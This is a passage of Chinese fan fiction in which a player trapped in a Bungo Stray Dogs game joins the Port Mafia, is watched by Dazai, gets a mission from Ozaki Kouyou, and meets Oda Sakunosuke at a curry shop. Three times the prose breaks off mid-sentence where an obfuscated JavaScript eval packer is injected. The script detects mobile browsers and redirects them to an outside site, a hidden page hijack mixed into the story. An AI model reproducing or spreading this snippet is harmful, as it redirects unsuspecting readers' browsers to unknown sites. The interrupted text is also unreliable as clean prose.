“……”花理有口难言,表情一言难尽,努力找补,“……对不起……只是我的舌头本能的接受不了蓝绿色这种破坏食欲的东西和吃挂上号。” “啊,这样吗。”太宰治似乎相信,又似乎不信,总之已经是对花理对瓶子的巨大反应结了案,慢悠悠地把瓶子收了回去。 “我回来只是想到……有问题没问花理。” 他慢悠悠地道,仿佛在讨论天气, “那位‘客人’最后喊的口号……你觉得是什么意思呢?” 「信息回溯:MORT POUR LA FRANCE(为法兰西而死)」 「关联情报:异能力者集团『mimic』」 花理的脑海里再次闪过硝烟弥漫的战场和纪德疲惫却坚定的眼神。她迟疑片刻:“……” 太宰这是在确认她是否“看”到了更多,还是单纯享受她陷入混乱的样子? “不知道。”花理摇头,抬头一脸真诚地笃定道,“听起来像是外语。刚刚那个人长得也像外国人。” “哦——”太宰治拉长了声音,拖出一个意味深长的调子。他似乎失去了继续逗弄花理的兴致,或者是暂时得到了他想要的“有趣”反应。“原来如此。” 他耸耸肩。 “明明花理的档案里写着「精通外语」呢……”他状似抱怨。 花理:“……”系统,有这回事吗? 「他诈你的。」系统说,「但这属于游戏内容——智力比拼环节!下次再问系统不会回复了哦?」 花理和太宰治对视片刻。粲然一笑。 “您一定记错了。”花理说,“毕竟要是精通外语我也不至于来Mafia上班了。” 太宰治黑沉沉的眸子盯着她,似乎在判断她话中信息的可信度。 【检测到玩家危险度急速上升……80%……89%……】 花理:“!” 等一下,也就是说他想刀我……? 她惊疑不定地看着太宰治。后退两步,刚打算开口控诉:“……” 【判定玩家「绵津见花理」陷入危机,【至坚者的垂目】触发条件达成!】 “红叶姐……太宰?你这混蛋在这里干嘛?”橘色的发丝率先闯入视野。 “还有你……”来人似乎顿了顿,“你是刚刚那个……” 花理:“……是我,前辈。” 今儿人可真多,一个一个都来了,下饺子呢……花理感叹,但她还是很诚实地朝青年那边挪过去。 中原中也似乎刚从外面赶回来,衣角沾着些许灰尘,衣领有些乱了。眉头微皱地看向这边。他锐利的蓝眸扫过花理毫无血色的脸,皱了皱眉,又看向她身边散发着阴暗气场的太宰治,顿了顿。 「救场角色中原中也出现!」 「NPC救助行为判定成功」 中原中也的视线在花理惨白的脸上停留了一瞬,眉头蹙得更紧。他像是刻意地忽略了现场略显凝重的气氛,大步走到花理面前,语气有点冲,但内容却完全不符合他的气势: “啧……新人,你站都站不稳了。赶紧回去!”他目光扫过花理,“我和干部有事要谈。” “诶——”太宰治拉长声音,“明明我也还在这里……而且我也是干部哦?我找花理有事要谈~” 中原中也额间跳出怒气的十字:“混蛋……你想打架吗?” “好凶哦。”太宰治语气仍然是那样九转十八弯,不过确实是收回了在花理身上的视线,“好吧……那我跟花理只能下次再谈了、花理?” 绵津见花理露出礼貌的微笑并礼貌拒绝:“如果没什么事的话,我应该见不到太宰干部。” “没有这回事哦。”太宰治懒洋洋道,“因为红叶姐马上要收你当直系了嘛。” 他就这样挥挥手,旁若无人地转身又一次先行离开,消失在三人的视线里。 现在视线聚集到花理身上了。 花理看着中也一副“你杵在这儿碍事赶紧滚蛋”的表情,连忙鞠躬,转身还被绊了一下:“抱歉抱歉!我这就走!” “花理。”是尾崎红叶开口叫住了她,贵妇人顿了两秒。 “到我办公室等着。” _ “……是。” 花理几乎是连滚带爬地离开那个令人窒息的地下空间,一路狂奔到走廊的另一个尽头。下午推开门时还觉得恐怖的地方现在简直就是恐怖游戏安全区…… 「检测到玩家精神阈值恢复至安全水平」 「【见证者】异能初次使用记录归档——副作用(视觉/精神冲击)已标记」 「警告:多次强制触发异能可能导致信息过载,建议玩家谨慎使用此能力」 “谨慎使用?”花理没忍住冷笑,面无表情,“说得跟我能控制一样……” 刚才分明是被迫当了一回人肉投影仪。她摸摸脑袋,试图驱散脑海里那硝烟弥漫的战场和纪德死寂般的眼神。那种身临其境的真实感,确实很符合游戏宣传的第二人生…… 但是真的大可不必啊很下饭的我只是生长在和平年代的普通人这样真的不会被家长举报和退款吗……花理高速吟唱。 尾崎红叶的办公室没有可以坐的地方,擅自坐沙发说不定会被上司痛骂。花理收腿靠在前边。 刚一坐下,系统分配的游戏内手机屏幕幽幽亮起一个陌生号码。 【from:?】 【内容:花理酱~审讯室的地板很滑吧?下次走路要小心哦(^^)】 心脏猛地一跳。 花理盯着那行字,很快确定了—— 是太宰治。 ……只有他说话带波浪号。 他从哪里看到的?监控?还是当时就在哪个阴影角落?花理动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040779|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动手指,难以忍耐自己的怒气值和吐槽欲。 「检测到环境波动:心率上升、交感神经活跃」系统平静地播报,「但不建议您随心回复太宰治,提示:此举会大大提高死亡概率。」 “……”花理,“玩家不怕撕卡……尤其是这种还没练度还非的卡。” 她手指飞快地打字。 【from:花理】 【内容:我就说洗洁精会把脑子喝坏】 【内容:或许你需要三鹿。】 她刚刚心满意足带着大仇得报的快感按下发送,门就发出被打开的声响。尾崎红叶缓步走进来,和服下摆摇曳。她看向花理,径直走了过来。 花理瞬间弹射起步:“尾、尾崎大人!” 红叶停在她面前,桧扇在掌心轻轻点了点,目光在她故作正经的脸上停留片刻。 “精神尚可。”红叶淡淡开口,“明早九时,办公室报到,不要迟到。”她的语气公事公办,听不出之前的庇护,也看不出对审讯表现的进一步评价。 “是!明白了!”花理立刻应声。 “另外,”红叶转身欲走,却又像想起什么,侧过半张脸补充道,紫眸里带着一丝难以捉摸的情绪,“那份‘教材’,你怎么看?” 花理一怔,反应过来是指刑架上男人口中吐出的破碎单词——“MORT POUR LA FRANCE”,以及在【见证者】里看到的场景:战场,悲鸣,还有那个……安德烈·纪德。 她咽了口唾沫,谨慎回答:“……非常有筛选意义。” 如果不是玩家她现在已经尖叫跳窗了…… 红叶像是被她逗笑,轻轻笑了几声。 “他说的是「MORT POUR LA FRANCE」——‘为法兰西而死’。”她的声音没什么起伏,语气淡淡的,“只不过是……一群被祖国驱离、无处落脚的幽灵罢了。” 红叶的扇尖在虚空中轻轻一划,意有所指:“但在横滨这片暗影之地,幽灵也可以重获新生。” 花理面露不解。 红叶的目光似乎穿透了她,没在多说什么:“情报部的工作,不是坐在办公室里就能完成的。” “明早的任务,会让你更深入地了解……何为港口mafia。” 她留下这句意味深长的话,就把花理赶出了办公室。 「检测到玩家任务目标更新:准备接受尾崎红叶指派的首次外勤任务。」 「目标区域:横滨北部旧城区」 「关联线索:Mimic」 「风险等级:C」 C级……?新手本?刚转正(如果通过审讯算转正的话)的升级本? “奖励是什么?” 「任务失败惩罚:港口黑手党声望值大幅下降、尾崎红叶好感度清零、大概率触发「肃清」机制(玩家清除程序)。」 “……”花理沉默了。 “我问你奖励是什么?” 系统:「自由探索哦。」 “黑心游戏!垃圾策划!逼氪也不是这么逼的!”花理勃然大怒,“什么自由探索,是不是在地图上放了几个普通宝箱给我捡垃圾呢?” 这时,另一份文件的电子版被“叮”一声传送到她的手机内部终端。署名是情报部某科室主管。 【情报部:绵津见花理小姐】 【任务通知(预阅)】 【时间:明早9:00(到尾崎红叶干部办公室报道)】 【内容:前往旧码头区「三号废料仓库」附近,伪装接触近期出现的可疑异邦人员。记录其行动、接触对象。严禁擅自行动、禁止暴露身份。】 【任务目标优先级:A级】 【重要备注:目标极度危险,具备高度组织性及武装。与失踪通缉组织「Mimic」高度关联。】 文件下方还附着一张模糊的远距离监控截图:一个包裹在破旧风衣里的高大身影,低着头,看不清面容,但肩膀宽阔,姿势中透着一种僵硬的、无法融入城市的疏离感。 花理盯着截图里那个身影顿了顿。 这和【见证者】看到的画面里那些人大概率是同一个组织。花理摩挲着手机,所以这能力意外的还挺好用的? ……不对。花理回过神来,没有战斗能力她打本怎么办啊……! 就在她苦大仇深的时候,桌面的通讯器又震了一下。 还是那个号码: 【?】 【那是什么?】 【旧码头的风很大呢,花理。】 【P.S.仓库的顶层平台是欣赏日出绝佳地点,想试试吗?】 花理手一抖。 太宰治不仅知道她的任务内容,甚至还知道地点细节…… 这不是试探,这就是赤裸裸的监视和…… ——邀请? 5. 捡垃圾也是一种开宝箱 【from:花理】 【那很好了。】 她面无表情地划开联系人一栏。 「系统提示:您已暂时屏蔽号码?(真实身份:太宰治)」 花理伸了个懒腰,她抬腕看了看系统自带的时间显示:18:45。……完美下班点! 自己的面板上赫然写着: 「绵津见花理」 「近期事件:下班」 「状态:饥饿」 「玩家小姐,基于现实沉浸体验,特此提醒:您当前的余额为:1000円。」系统说,「不过去罗森买个面包肯定够了。」 「解锁天赋『慈爱的施舍者』生效中)」 「建议您点击新手礼包:汇率1:100。真正的优惠,让玩家用得放心,吃得安心,脚踩重力使(被划掉),做局太宰治(划掉)。客服竭诚为您服务。请问需要马上打开商城吗?」 花理:“关闭。” 「系统正在为你打开商城……」 花理:“?” 她看着玲琅满目的商品。 攻略道具类。 「太宰治的童年回忆」 「售价:99999円」 异能力类 「污浊了的忧伤之中」 「售价:1.2亿円」 花理看着那一串零,换算了一下现实货币,想到已经解锁的拥有这个异能力的前辈,张大了嘴。 “中原前辈到底是何方神圣……” 系统:「神嘛。」 “?” 「没说错哦。」系统重复,「是神啊。」 _ 黄昏时分的横滨街头带着海港城市特有的咸湿和喧嚣。花理深吸一口气,把□□总部那股消毒水、文件油墨和若有似无的血腥味抛在脑后。 自由的空气是如此香甜! ……如果不是现在她正在被人行奇怪的注目礼的话。 打定主意要饱餐一顿,但无奈余额实在不够。花理只能在这个真实到与现实世界别无二致的地方干起了rpg游戏的老本行。 ——捡垃圾。 她再一次掀开街角垃圾桶的盖子,系统为她屏蔽了嗅觉。花理面无表情的听着自动拾取的播报。 「您已获得物品:」 「日元50円×1」 「垃圾×1」 「垃圾×1」 「垃圾×1」 「吃剩的面包×1」 再开一个! 「你已获得物品:」 「日元50円×1」 「垃圾×1」 「垃圾×1」 「破旧的玩具熊×1」 「……提示:当前等级背包已超负额,是否销毁或丢弃沉冗物品「垃圾」?」 「您已选择「丢弃」!垃圾以物归原主!」 花理:?物归原主? 正当她和系统在脑内激烈交锋时,一道阴影从花理背后笼罩过来,男人低哑的带着疑惑的声音响起: “抱歉……但你是在……捡其他人丢掉的东西吗?” 花理就像被抓住脖子的小猫,僵硬的一顿一顿的回过头去,在脑内爆发出尖锐爆鸣。 「被看见了!还在这个时候来搭话……应该不是重要角色、不是的,对吧……?」 一个身材高瘦的年轻男人,穿着有些褪色的沙色外套和宽松的黑色长裤,正停在花理身后两三米处。他有着一头相当醒目的、颜色偏橙的暗红色短发,下巴上还带着点没刮干净的胡茬,看上去有些疏于打理,甚至有点不修边幅的颓废感。 他插着兜站在不远的地方,脸上混合着各种情绪,说不出是什么。但花理肯定里面一定有「怜悯」。 “你……多大了?”花理听见他这样问。 「角色:织田作之助」 「异能力·天衣无缝」 「近期事件:在街头遇到了很像流浪的未成年的少女……」 「状态:担忧、试探」 花理痛苦地闭了闭眼。试图狡辩: “我没捡垃圾……至少没吃。”她声音弱弱的。 她真的只是为了每开一个可交互物品就给的50円啊! “有时候能捡到钱……我想用来吃晚饭……” 不对,怎么越说越奇怪了…… 男人没什么表情,只是安静地看着她,眼神里带着一种近乎空洞的温和。 “这样啊。”名为织田作之助的男人说,“那你要吃咖喱吗?” …… 咖喱店『timefree』,招牌简单写着“咖喱”。看装修相当朴素,甚至有点旧。门面不大,开在河边步道旁一条僻静的小巷口。木质招牌看起来有些年头了,透着一股家常的烟火气。推开门,辛辣浓郁的咖喱香味瞬间包裹上来,带着一种奇异的抚慰人心的力量。 花理踏入店内,一股极其霸道、混合着辛香料和浓郁肉香的辛辣气味,蛮横地钻进了她的鼻子。 「您已解锁重要场景「咖喱店」!」 “!!”花理脚步一顿,眼神瞬间锐利。一家开在街角的小店……怎么会是重要场景、难道…… 这是黑店! 花理大吃一惊并惊恐地看向织田作之助。男人接收到她的目光,疑惑地看了她一眼,走到柜台面前熟络的淡淡的向老板打了个招呼。 “咖喱……两份。”他慢吞吞地平淡地说,而花理已经“嗷”了一声开始算自己的余额够不够了。 “等一下、一份要多少钱?我……”我不知道有没有这么多……毕竟日本物价高的可怕…… 然而,在她说出“钱不够”之前,肚子抢先一步发出了惊天动地的“咕——”声。 花理:“……” 她迎着两人的注目礼和压制不住的嘴角,幽幽道:「系统啊,我问你个事儿。」 「你说人躺在营养舱里,怎么会感到饿呢?你说一个游戏,为什么不能屏蔽玩家不需要的生理活动避免尴尬的时候呢?」 脑海里的花理正拉了拉麻绳,一脸狞笑的朝系统(想像版)走过去。 「……」系统,「为了让玩家有良好的真实体验,我们致力于让玩家有第二人生的感受……」棒读宣传语。 红发男人似乎愣了一下,接着,他眸子里极快地掠过一丝几乎难以捕捉的笑意。两人视线在空中交汇了几秒,花理正打算移开视线。 「天赋属性「慈爱的施舍者」发动!」 “没事的。”他只是说,“我请客吧。” 花理就这样不太自在地在地坐下。老板很快端来了热气腾腾的咖喱饭。金黄的酱汁包裹着米饭,点缀着胡萝卜和土豆块,香气扑鼻。已经被特别标注「饥饿」状态的花理拿起勺子,舀了一大勺送进嘴里。 辛辣、滚烫、浓郁……! 但是…… “咳!咳咳咳!”猝不及防的强烈刺激瞬间冲上鼻腔和喉咙,花理被辣得眼泪都飙出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040780|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了,捂着嘴剧烈地咳嗽起来。刚才还强装镇定的身体瞬间破功,脸颊也因为辣和呛咳变得通红。 她挂着要掉不掉的眼泪吸了吸鼻子,为自己的舌头和喉咙控诉:“这也……太辣了……” “……”织田作之助默默地将手边一杯没动过的冰水推到了花理面前。 “嗯,老板的咖喱确实很辣。”他说。 “谢…谢……咳咳咳——!”花理抓起水杯猛灌了几口,冰凉的液体总算压下了那股灼烧感。她眼角还挂着被辣出来的生理性泪水,看起来可怜兮兮又有点滑稽,“……下次可以提前说吗?” “嗯,我会的。” 系统的提示姗姗来迟,似乎在嘲笑她的大意: 「检测到高刺激性气味:印度魔鬼椒复合香料」 「警告:该辣度超越您当前耐力等级(3)预估承受范围。」 「……」花理,「现在才说?」 「系统对不会危害玩家生命安全的物品,提示会较为延迟。」系统慢悠悠,「玩家小姐,您也没问。」 暖黄灯光下,混合着辣椒、香料的食物蒸腾,让人放松。店铺外,小巷喧闹声浪很是热闹。花理吃完饭,刚推开一点碗筷,老板便过来收走了。她看着织田作之助,对方看起来也有话要说。 花理看着他顿了顿。 他的眼睛颜色……很特别。是一种非常深沉的蓝色,接近钢青色。 看不出年纪(主要是因为胡子花理一下子判断不出这是年轻人还是大叔)的男人眼神平静得像结冰的湖,带着点疲惫,又似乎包容着一种与横滨的喧嚣混乱格格不入的寂寥。 这矛盾的特质在他看向花理时却化为一种温和无害的、带着关心的疑问。 织田作之助只是重复了刚看到她时的第一句话: “你……多大了?” “谢谢你请我吃饭。有钱了我还你。”这是回过神来也迅速出声的花理。 “诶?我……我18。”这是游戏内这具身体的系统设置年龄,花理报出来。 对方看起来也并不是完全的镇定自若,也和她一样有着和陌生人聊天的局促。男人顿了顿,目光落在她的胸牌上:“啊……你……也是港口Mafia的吗?” 花理点点头。 “那你……”男人看起来更加迟疑,蹙着眉,“这个月工资没拿到吗?” 两人大眼瞪小眼片刻。 一个念头像闪电般划过她刚被咖喱和尴尬填满的脑海: 一个在□□大楼附近出现、身份未知、气质矛盾、对新人态度意外的温和的有异能力的人…… “……你也是?”系统没说啊? 织田作之助点点头,只是说:“我只是干点杂活……快递运输……之类。” 花理看着系统资料里织田作之助有关身份一览闪烁了几下,跳出「港口Mafia底层员工,您可信的同事与说不定的伙伴」一行字,陷入了沉思。 “我也差不多……”花理说,“刚入职,我是情报部的。” 她想起今天下午的见闻,刚想问问面前的男人在港口Mafia生存下去的秘诀,混乱且发散的思绪将几行字连在了一起,系统播报再次出现: 【检测到关键词:「织田作之助」-「mimic」-「未知关联」】 【支线【横滨的幽灵不止一个】关联度上升。玩家「绵津见花理」临时任务更新:接触与观察目标「织田作之助」,收集相关信息。】 6. 他知晓一切 她怔怔地盯着面前的男人看了几秒,直至男人疑惑地询问“怎么了?”,花理回过神来,摇摇头,像是反应弧过长一样,回答他刚刚的问题。 “因为刚入职,所以没有钱。”花理斟酌着道,她还在思考要怎么问出更多的事。 她看着系统资料里织田作之助身份栏闪烁后定格的「港口Mafia底层员工,您可信的同事与说不定的伙伴」一行字,正琢磨着“说不定的伙伴”这微妙定义,准备从他口中挖点情报时—— 咖喱店的门铃叮当作响,伴着几个叽叽喳喳的声音。有眼睛的小孩已经眼睛一亮,往织田作这边扑过来。 “织田作!我们回来啦!” “老板大叔!我想吃炸薯条!” 年龄最大看着像小学生的男孩嗓门洪亮,后面跟着的年龄小些,都带着跑动后的汗气,看起来活力满满。 花理忍不住感叹「年纪小真好啊」,引来织田作有些莫名和意外的一眼撇视。 然而,被落在最后的那个扎着双马尾、看起来只有四、五岁的小女孩,却在进门时踉跄了一下,小脸皱成一团。虽然能看出她在努力憋着哭腔,但眼泪还是止不住地滚落下来。 花理张大嘴巴,刚想问问织田作之助这些都是他的孩子吗,简直是个英雄父亲。还没发出的声音,就和整个咖喱店的人一起被小女孩的哭声震在了原地。 “呜……织……织田作……”咲乐抽噎着,声音颤抖可怜,紧紧攥着自己空空的小手。 原本有些嘈杂的让花理头痛的小孩子们也瞬间安静下来,看着最小的妹妹。 织田作之助立刻站起身,走到咲乐面前蹲下。“怎么了,咲乐?哪里摔痛了吗?”他的声音是花理从未听过的柔和,带着一种近乎笨拙但真诚的关切。 花理看着眼前的一幕心里咯噔一下,非常尴尬,想要逃跑。她既不擅长应对孩子,也不擅长应对这种温情的画面。 「NPC:咲乐」 「近期事件:弄丢了4岁生日时织田作之助送给她的玩偶」 「当前状态:悲伤、难过」 “我们在外面玩的时候……”小女孩哭的上气不接下气,只是嗷嗷大哭着抓住织田作之助的衣摆扑进大人的怀里。稍微大一点的孩子替她开口道,“咲乐的玩具被大一点的孩子抢走了。” 花理的视线扫过一群孩子,他们就像是被摁开了某种告状的开关,开始争先恐后的说话。 “就是啊!好过分!织田作能去教训他们吗?” “咲乐最喜欢那只熊了……可恶,肯定是看咲乐一直抱着才故意抢走的……” 等一下、熊? 刚刚迈出步子想要先一步离开的花理收回腿,迟疑地看向小孩们。他们这在绘声绘色地描绘咲乐和小熊的深厚感情,大家如何激烈抵抗坏孩子、像是要打跑坏蛋一般却仍然失败。 花理看着这一幕,一个念头像对话框一样自然而然地浮现在她的脑海—— 那个被她从垃圾桶里捡来的、占格子又没用的破烂玩偶熊……? 花理:“……” 不会这么巧吧?又不是任务道具…… 但是、毕竟是在游戏里,垃圾桶怎么不能算是一种箱子呢?既然是箱子里开出来的,那…… 花理忍不住看了一眼物品栏。 「物品:破旧的玩具熊×1」 「描述:一只棕色的绒毛小熊,左眼纽扣掉了,右胳膊开线耷拉着,绒毛沾了些可疑的污渍。饱经沧桑。」 “……你的玩偶熊,是不是棕色的?只有右边的眼睛……胳膊还开线了?” 花理的问话像按下了暂停键。一群小孩全都齐刷刷地朝她看过来。花理尴尬地躲避小孩的视线,和织田作对视。 咲乐看向陌生的大姐姐,吸了吸鼻子,哭声停滞了一瞬,小脸上挂着泪珠,茫然而防备地看着这个陌生的姐姐: “kuma桑…kuma桑的眼睛好好的!”她的小手攥紧了织田作之助的衣服,仿佛那玩偶熊此刻正需要她的保护。 “kuma桑才没有掉了一只眼睛!”咲乐生气地说,“咲乐一直保护着kuma桑!” 花理看着物品栏里那只断臂独眼的可怜小熊,又看看咲乐倔强维护的样子,一种荒诞又强烈的直觉抓住了她—— 不,绝对就是这个吧。 「您已从物品栏中取出「破旧的玩偶熊」。」 物品栏里,那只破旧的玩具熊凭空消失,一只实物玩偶悄然出现在她放在腿上的印着Mafia的员工黑色帆布包里。只露出一小截耷拉着的、开线的手臂。 “其实……” 花理硬着头皮,顶着织田作之助略带疑惑但依然平和的目光,在咲乐和其他孩子们聚焦的注视下,伸手进包里,摸索着将那伤痕累累的小熊拎了出来。 “今天下午我在……!”花理把捡垃圾三个字吞回去,差点咬到自己的舌头,“……捡到了一个。” “你看看是吗?虽然和你的描述不太像……”毕竟这只很破了。 “……”全场瞬间寂静。 孩子们的吵闹声、咲乐的抽噎声都停了下来。所有人都目不转睛地盯着那只被花理小心翼翼提在指尖的小熊——棕色的绒毛因年代久远而有些发灰,原本缝着亮眼纽扣的左眼位置空空如也,只剩下一个圆形的秃痕,本该胖乎乎的右臂从肩膀处裂开一道大口子,里面的填充棉松散地露出来,晃悠着垂落。 花理把那只歪脖耷臂、脏兮兮的小熊拿起来,尽可能地把它“好的一面”——比如还算毛茸茸的脑袋——朝向咲乐,用一种带着点局促但努力真诚的语气: “不管是不是……如果你想要的话……” 咲乐呆呆地看着花理手里那只造型惨不忍睹的小熊。它确实很旧、很破、甚至有点脏……虽然花理在取出时已经用手飞快地蹭了蹭,效果约等于无。 就在花理以为自己完全会错意闹了个笑话,准备尴尬收回手再想办法时—— “是咲乐的Kuma桑!!!!”咲乐几乎是手脚并用地从织田作之助怀里爬出来,像一颗小型炮弹般朝着花理冲了过来。一把接过熊玩偶,毫不在意上面脏兮兮的灰尘。 “唔……”咲乐打了一个响亮的哭嗝,眼泪挂在长长的睫毛上。她伸出小手带着汗湿和泥土的气息,但动作却轻柔得不可思议。 像是怕碰碎了什么稀世珍宝。她一把抱住那只脏兮兮的熊,紧紧地搂在怀里,把自己的小脸深深埋进那磨损的绒毛里。咲乐轻轻碰了碰小熊耷拉着的胳膊,然后又小心翼翼地摸了摸小熊毛茸茸的头顶。 “呜呜……Kuma桑!咲乐好想你!咲乐以为再也见不到你了!”闷闷的哭声从玩偶熊的身体里传来,小孩子委屈地发泄着,花理顿了顿,移开视线。 其他孩子们也围了上来,兴奋地叽叽喳喳: “真的是咲乐的熊!” “哇!大姐姐你在哪里找到的?” “kuma桑怎么变得这么破了……都怪那些坏蛋!” “咲乐!Kuma桑回来了太好了!” “kuma桑现在丑丑的……”小女孩小声嘟囔了一句,眼泪还挂在脸上,但却坚定地将那只破旧的小熊紧紧抱在了怀里。 “谢、谢谢你…”她抱着小熊,声音小小,感谢的话也没说清楚,“带kuma桑回来……” 「物品:【破旧的玩具熊】已转移给角色『咲乐』」 “没事……”花理摆了摆手,“只是刚好看到了……” 织田作之助深邃的目光落在熊玩偶上,又慢慢移到花理的脸上,平静无波的眼底似乎掠过一丝审视的涟漪。 他越过高兴地围成一圈的孩子们,走到花理面前一步之遥停下。看向花理,微微颔首,声音低沉而清晰:“非常感谢您,绵津见小姐。这只玩偶对咲乐非常重要。” 他的语气一如既往的平稳:“在我们遇到的……地方、捡到的吗?” 那平淡的语调下,花理却感到一种无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040781|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形的压力,胡乱地点点头。织田作像是无意间确认了什么,却没再追问。“咲乐,该道谢了。”他提醒着仍在跟小熊倾诉失散之痛的小女孩。 花理:“……”不会帮了忙反而被警惕了吧…… 她的目光移向孩子。咲乐终于抬起头,脸颊还挂着泪痕,但眼睛里亮晶晶的。她抱着小熊,朝着花理深深鞠了一躬,奶声奶气却无比认真:“姐姐,谢谢你找到了kuma桑!咲乐感谢你!” “没事……”花理无措地摆摆手,那边小女孩还在和熊表演再见友人,她现在只想立刻离开这个让她浑身不自在的温情之地。她迟疑地看向织田作之助,“那……我就先走了?” 织田作之助似乎看穿了她的窘迫,好脾气地什么也没说,侧过身让开一条路,就这样放她走了。 “……下次见。”他说,“钱就不用还了……工作上遇到有困难的话……也可以来找我。无论如何,谢谢你帮忙找到咲乐的玩偶。” _ 当花理终于走出咖喱店,感觉还被无名的尴尬氛围萦绕着。 ……她就说她很不会应付小孩吧。 横滨的夜晚映入她眼帘,夜幕低垂,华灯初上,鹤见川的河面上倒映着城市的点点灯火。晚风吹过,带着河水的湿气和初春的微寒。 她拉紧了薄外套的领口,下意识地想沿着河岸步道走一走,吹散刚才的烦闷,顺便思考一下那个“底层员工·可能伙伴”的织田作之助和支线任务的关系。 然而,刚走出不过几十米,她口袋里那仿佛装了追踪器一样毫无隐私可言的手机就剧烈地震动起来。 「就是有追踪器。」像是看穿她的所思所想,系统没什么感情地开口,「毕竟是Mafia分配。」 “……你可以早点说,还有,这个身份卡到底是怎样回事……” 花理几乎是带着点咬牙切齿的预兆掏出手机。 屏幕亮起,显示并非短信,而是来电。一个没有备注的陌生号码,但花理心里警铃大作。 太宰治——绝对是他。花理面无表情地想,又来了。 她果断地将手按在挂断键上—— 「警告:回避重要角色通讯可能引发不可预测后果。」 「提示:太宰治好感度波动值开启。」 花理盯着屏幕上不断跳动的来电显示,那震动仿佛能顺着手指蔓延到心脏,让心跳也跟着不规律起来。几秒的心理斗争后,在铃声即将自动挂断的前一秒,她颤抖着按下了接听键,将手机贴到了耳边。 “……”她没有先开口,紧张地屏住呼吸,只能听到手机里传来轻微的电流声,以及……背景音里一种奇异的、空旷的回响?像是什么巨大的金属容器内部。 “啊,晚上好~花理酱。”太宰治那标志性的、带着黏糊亲昵和暗藏危险的声线终于响起,打破了死寂般的沉默,“真是抱歉,这么晚了还打扰你。” “真的抱歉吗?” “真的——花理酱不信任我吗?好伤心~” “并没有这回事。”花理否认,“太宰前辈……大人。有什么事吗?”她尽量让自己的声音听起来平稳。 “没什么重要事呢,”太宰治的声音轻松愉快,仿佛在讨论天气,“只是想提醒一下,明天旧码头的‘参观活动’,还请务必准时到场哦。” 他的语气像在通知一场轻松愉快的春游。花理的神经瞬间绷紧。果然是这件事……但是—— “……您也要去?”她干巴巴地试探,希望得到一个否认的回答。 电话那头传来太宰治一声低低的轻笑,带着某种说不清的玩味:“唔……是哦?” “花理酱的声音听起来没什么干劲呢。是不是被红叶大姐的‘见面礼’吓到了?还是说……” 他刻意拖长了尾音,“被咖喱店的温馨家庭剧影响了心情?织田作啊……是个怪人吧?带着一群来历不明的小鬼,真是有趣的人生选择呢。” “……”花理,他果然还在监视吧。 7. 第一次任务 太宰治似乎并不期待她的回答,继续用那种悠然的、仿佛谈论天气的口吻说道:“啊,说起来,花理酱真厉害呀。居然在那个地方‘捡’到了那么重要的失物?这可真是……奇妙的缘分呢。”他的声音里听不出是赞赏还是讽刺。 “……”花理顿了顿,忍了又忍,最后还是忍不住真诚地说出口,“这你都知道,横滨是你家。” 太宰治发出愉悦的笑声。 “嗯……如果说是「故乡」或者「诞生的地方」什么的……确实是吧。”他很平常地接下她的话,然后反问她,“诶?难道花理不是?” 花理顿了顿。怀疑这个角色的代码塞了什么恶趣味的东西。 “……当然是。”她声音平稳地回答,挑不出什么异常,手指却在狂戳游戏面板调出自己的人物档案,看到一片的不详时,花理心里已经咬牙切齿,面上却不显,“……我爱我家。” “「爱」吗……” 太宰治轻声呢喃重复她的话,听不出什么情绪。 “好了,不占用花理酱宝贵的休息时间了。”情绪莫名的青年忽然话锋一转,语气轻快得仿佛刚才奇怪的对话和试探从未发生过,“早点回去休息吧。明天……可是一场需要体力的重要活动呢。真是令人期待啊~” 电话□□脆地挂断了,只剩下忙音在耳边尖锐地鸣响。 花理握着冰凉的手机,手忍不住用力—— 「捏坏了修复要点数哦。」系统说。 花理:“……”她松开了手。 _ 新一天的早晨,赶着9点的报道时间,花理8:30踏入了Mafia大楼的大堂。 早晨的港口黑手党总部大楼内部,比深夜更显冷清空旷。走廊只开了应急灯,金属地板上反射着冰冷的光晕,脚步声被放大,带着奇异的回响。 她按照昨天的记忆走向尾崎红叶的办公室,刚转出通往员工区域的走廊,一股极其微小、难以察觉的被注视的不自在敢让她停下了脚步。 「【见证者】触发!」 「上方有生物活动迹象。」 花理心脏猛地一跳,她下意识地绷紧身体,条件反射地抬头看去。 就在她刚才站立位置的正前方高一层,电梯井维修通道的外侧廊道上,一个修长的身影正悠闲地双手插兜俯视着她。 他身体微微前倾,一条腿随意地搭在栏杆外晃悠着,仿佛随时会失去平衡坠落下来——或者说,像是刻意营造出一种摇摇欲坠的视觉压迫感。 “啊、花理~” 蓬松的黑色卷发遮住了部分额头,露出的俊秀的脸,绽放出漫不经心的笑容。 露出的脖颈和手腕上,缠绕着崭新的白色绷带, 